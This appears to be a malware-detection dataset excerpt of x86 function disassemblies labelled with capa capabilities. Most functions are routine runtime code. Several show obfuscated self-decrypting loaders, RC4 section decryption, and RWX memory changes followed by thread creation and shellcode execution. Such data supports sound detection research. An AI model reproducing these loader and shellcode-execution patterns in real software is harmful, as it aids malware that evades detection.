joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f4ac
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov eax, dword [eax + 0x10]
mov dword [esp], eax
call sym._read
mov ebx, eax
cmp eax, 0xffffffff
je 0x40f4e4
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
leave
ret
call sym.__errno
cmp dword [eax], 4
je 0x40f4bb
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
leave
ret

Function at 0x4151a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x4151c6
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x41525a
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x415215
cmp eax, 0x40
je 0x415215
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x4151b9
cmp eax, 0x40
je 0x4151b9
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x4151b9
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sym.__assert
lea esi, [esi]
lea edi, [edi]

Function at 0x415788
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x47c060]
call sym._TlsAlloc_0
cmp eax, 0xffffffff
je 0x4157c4
mov dword [ebx + 0x24], eax
mov dword [esp + 4], 0
mov dword [esp], eax
call sym.___mingwthr_key_dtor
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x28], eax
add esp, 0x14
pop ebx
leave
ret
call sym._GetLastError_0
jmp 0x4157b2
Function at 0x4158e8
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, eax
mov esi, edx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
mov edx, dword [ebx + 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [esi]
jmp 0x415911
mov dword [eax + 0x20], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
test eax, eax
je 0x4159d8
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x2c], eax
xor edi, edi
mov eax, 0xa
mov ecx, dword [ebp - 0x1c]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 1
call dword [ebp - 0x20]
test eax, eax
jne 0x4159fc
cmp edi, 5
je 0x415a01
mov edx, dword [ebp - 0x2c]
test edx, edx
je 0x41599b
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
call dword [ebp - 0x2c]
mov edi, eax
cmp eax, 7
je 0x415a01
cmp eax, 8
jne 0x4159fc
mov eax, dword [esi]
mov edi, dword [eax]
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
test edx, edx
js 0x4159ec
test edx, edx
je 0x415908
mov dword [esp + 4], edi
mov eax, dword [eax + 0x24]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
jne 0x41590b
call sym._GetLastError_0
jmp 0x41590b
mov dword [ebp - 0x2c], 0
mov edi, 5
mov al, 0x1a
jmp 0x415926
call dbg.fc_key_init_once
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
jmp 0x4159ab
mov edi, 2
mov eax, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret

Function at 0x415a78
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [ebp + 8]
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
test edx, edx
js 0x415ae8
test edx, edx
jne 0x415ac4
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x10], eax
lea esi, [ebp - 0x20]
mov edx, esi
mov eax, ebx
call dbg._Unwind_ForcedUnwind_Phase2
cmp eax, 7
je 0x415af7
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov edi, dword [eax + 0x24]
call sym._GetLastError_0
mov esi, eax
mov dword [esp], edi
call sym._TlsGetValue_4
push edi
mov dword [esp], esi
mov dword [ebp - 0x2c], eax
call sym._SetLastError_4
push ecx
mov eax, dword [ebp - 0x2c]
jmp 0x415a97
call dbg.fc_key_init_once
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
jmp 0x415a90
lea eax, [ebp - 0x1c]
mov edx, esi
call dbg.uw_install_context
lea esi, [esi]
Function at 0x415bdc
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [ebp + 8]
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
test edx, edx
js 0x415cc1
test edx, edx
jne 0x415c60
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
test eax, eax
je 0x415c53
lea esi, [ebp - 0x20]
jmp 0x415c13
mov dword [ebp - 0x20], eax
mov eax, dword [eax + 0x18]
test eax, eax
je 0x415c4a
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], 1
mov dword [esp], 1
call eax
cmp eax, 6
je 0x415c88
cmp eax, 8
jne 0x415cb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
test eax, eax
jne 0x415c10
mov eax, 5
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov edi, dword [eax + 0x24]
call sym._GetLastError_0
mov esi, eax
mov dword [esp], edi
call sym._TlsGetValue_4
push edi
mov dword [esp], esi
mov dword [ebp - 0x2c], eax
call sym._SetLastError_4
push ecx
mov eax, dword [ebp - 0x2c]
jmp 0x415bff
mov dword [ebx + 0xc], 0
mov eax, dword [ebp - 0x20]
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov edx, esi
mov eax, ebx
call dbg._Unwind_RaiseException_Phase2
cmp eax, 7
jne 0x415c58
lea eax, [ebp - 0x1c]
mov edx, esi
call dbg.uw_install_context
nop
mov eax, 3
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
call dbg.fc_key_init_once
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
jmp 0x415bf8

Function at 0x415cd4
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [ebp + 8]
mov ecx, dword [ebx + 0xc]
test ecx, ecx
jne 0x415cf8
mov dword [esp], ebx
call dbg._Unwind_SjLj_RaiseException
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
test edx, edx
js 0x415d4c
test edx, edx
jne 0x415d28
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
mov edx, esi
mov eax, ebx
call dbg._Unwind_ForcedUnwind_Phase2
cmp eax, 7
je 0x415d5c
call sym._abort
nop
mov edi, dword [eax + 0x24]
call sym._GetLastError_0
mov esi, eax
mov dword [esp], edi
call sym._TlsGetValue_4
push edx
mov dword [esp], esi
mov dword [ebp - 0x2c], eax
call sym._SetLastError_4
push eax
mov eax, dword [ebp - 0x2c]
jmp 0x415d0b
call dbg.fc_key_init_once
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
jmp 0x415d04
lea eax, [ebp - 0x1c]
mov edx, esi
call dbg.uw_install_context
nop
Function at 0x415df8
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [ebp + 8]
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
test edx, edx
js 0x415e7c
test edx, edx
jne 0x415e58
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov edi, dword [ebx + 0xc]
test edi, edi
jne 0x415e3c
lea esi, [ebp - 0x20]
mov edx, esi
mov eax, ebx
call dbg._Unwind_RaiseException_Phase2
cmp eax, 7
je 0x415e4d
call sym._abort
nop
lea esi, [ebp - 0x20]
mov edx, esi
mov eax, ebx
call dbg._Unwind_ForcedUnwind_Phase2
cmp eax, 7
jne 0x415e35
lea eax, [ebp - 0x1c]
mov edx, esi
call dbg.uw_install_context
nop
mov edi, dword [eax + 0x24]
call sym._GetLastError_0
mov esi, eax
mov dword [esp], edi
call sym._TlsGetValue_4
push edx
mov dword [esp], esi
mov dword [ebp - 0x2c], eax
call sym._SetLastError_4
push eax
mov eax, dword [ebp - 0x2c]
jmp 0x415e17
call dbg.fc_key_init_once
mov eax, dword [0x47c060]
mov edx, dword [eax + 0x28]
jmp 0x415e10
Function at 0x41fcc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebx + 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call sym._fread
test eax, eax
jle 0x41fd00
movzx edx, byte [esi + eax - 1]
mov dword [ebx + 0x24], edx
add esp, 0x10
pop ebx
pop esi
leave
ret
mov dword [ebx + 0x24], 0xffffffff
add esp, 0x10
pop ebx
pop esi
leave
ret

Function at 0x41fd10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fwrite
leave
ret
Function at 0x1001ede0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1001edef
pop dword [ebp - 0x48]
mov eax, 0x14ecec4a
sub eax, 0x4eafe5b
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x78f64a35
sub dword [ebp - 0x58], 0x2aa404ea
mov dword [ebp - 0x54], 0xa18e178a
sub dword [ebp - 0x54], 0x6f5acb45
mov dword [ebp - 0x50], 0xd4c34d57
add dword [ebp - 0x50], 0x7788f6d7
mov dword [ebp - 0x4c], 0xa1388267
sub dword [ebp - 0x4c], 0xa1388267
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8f1a51d
add eax, 0x7127b17
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x64b2ff10
sub dword [ebp - 0x58], 0xf04095ba
mov dword [ebp - 0x54], 0xc8fa4911
add dword [ebp - 0x54], 0x78721864
mov dword [ebp - 0x50], 0xd05b1eef
sub dword [ebp - 0x50], 0x6cebb283
mov dword [ebp - 0x4c], 0x421910d2
sub dword [ebp - 0x4c], 0x421910d2
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x4b0f8
push 0
call eax
mov ecx, 0x57aa
mov edi, eax
mov edx, 0x7346529b
add edx, 0x9cbf2b65
add edx, dword [ebp - 0x48]
mov esi, 0x8cfc5b4a
add dword [ebp - 0x40], 0xd7121578
mov ebx, dword [edx]
add dword [ebp - 0x14], 0x4add747
xor ebx, esi
add dword [ebp - 0xc], ebx
mov dword [edi], ebx
sub dword [ebp - 0x40], 0xf788dd78
add edi, 0x4982c502
add edi, 0xb67d3b02
add edx, 0x27182bbc
sub edx, 0x27182bb8
loop 0x1001ef00
add eax, 0x3543ec12
add eax, 0xcabd6569
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x637b52cb
add ecx, 0xac84ad35
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x100396b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100412f8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x100512d4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1005128c]
cmp eax, 0xffffffff
jne 0x100396e6
xor ebx, ebx
jmp 0x100396ef
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003972f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003976e
test esi, esi
jne 0x10039772
push 0x10038230
push 0x10052ad8
call fcn.1001ede0
mov eax, dword [0x1005128c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003972f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003975c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003975c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100397b4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003979d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10039772
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10039700
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100397d9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100397d9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1001ede0
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100397c0
jmp 0x10039700

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1004a0b2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1004a0c1
pop dword [ebp - 0x30]
mov eax, 0x1004a0c1
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x7df09ecb
add dword [ebp - 0x40], 0xd061a680
mov dword [ebp - 0x3c], 0xe21c0cf9
sub dword [ebp - 0x3c], 0xafe8c0b4
mov dword [ebp - 0x38], 0xdd1acccc
add dword [ebp - 0x38], 0x6f317762
mov dword [ebp - 0x34], 0xd11885d2
add dword [ebp - 0x34], 0x2ee77a2e
lea eax, [ebp - 0x40]
push eax
mov eax, 0x9f222d3d
sub eax, 0x8f1c2d2d
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xc2632fc0
add dword [ebp - 0x40], 0xb20f3996
mov dword [ebp - 0x3c], 0x1e90217f
sub dword [ebp - 0x3c], 0xdd23c00a
mov dword [ebp - 0x38], 0xa22f611c
sub dword [ebp - 0x38], 0x3ebff4b0
mov dword [ebp - 0x34], 0xfd3103ad
sub dword [ebp - 0x34], 0xfd3103ad
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xad9d5ed0
sub eax, 0x9d975ebc
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x57882
push 0
call eax
mov ecx, 0x4ed8
xor esi, esi
add esi, eax
mov edi, 0x1008bc00
add edi, dword [ebp - 0x30]
mov ebx, 0xb5d4578f
add dword [ebp - 0x2c], 0x1005a06a
mov edx, dword [edi]
xor dword [ebp - 0xc], edx
sub edx, ebx
xor dword [ebp - 8], edi
mov dword [esi], edx
add esi, 0x4f200b08
add esi, 0xb0dff4fc
add edi, 0x21709656
sub edi, 0x21709652
loop 0x1004a1ce
add eax, 0x3c05e635
sub eax, 0x3c04b802
mov ebx, eax
add eax, 0xe47cd093
add eax, 0x1b832f72
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x37
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x47b0b0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x53c00
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x47ac00
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x47ac00
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40d9a8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419418]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408fab
mov dword [ebp - 0x14], eax
cmp dword [0x4312c0], esi
jne 0x40da9b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40da28
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40db7b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40db7b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40db7b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4312c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4312c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4312c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4312d0], eax
test eax, eax
je 0x40da98
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4312cc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40dac0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40dab3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40dad5
push 4
pop eax
jmp 0x40db7d
cmp dword [ebp - 0x14], esi
je 0x40dad5
push dword [0x4312c0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40daba
mov eax, dword [0x4312cc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40db33
cmp dword [0x4312d0], edi
je 0x40db33
push eax
call ebx
push dword [0x4312d0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40db33
test eax, eax
je 0x40db33
call ecx
test eax, eax
je 0x40db28
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40db28
test byte [ebp - 8], 1
jne 0x40db33
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40db63
mov eax, dword [0x4312c4]
cmp eax, edi
je 0x40db60
push eax
call ebx
test eax, eax
je 0x40db60
call eax
mov esi, eax
test esi, esi
je 0x40db60
mov eax, dword [0x4312c8]
cmp eax, edi
je 0x40db60
push eax
call ebx
test eax, eax
je 0x40db60
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4312c0]
call ebx
test eax, eax
je 0x40db7b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40db7d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404315
mov esp, ebp
pop ebp
ret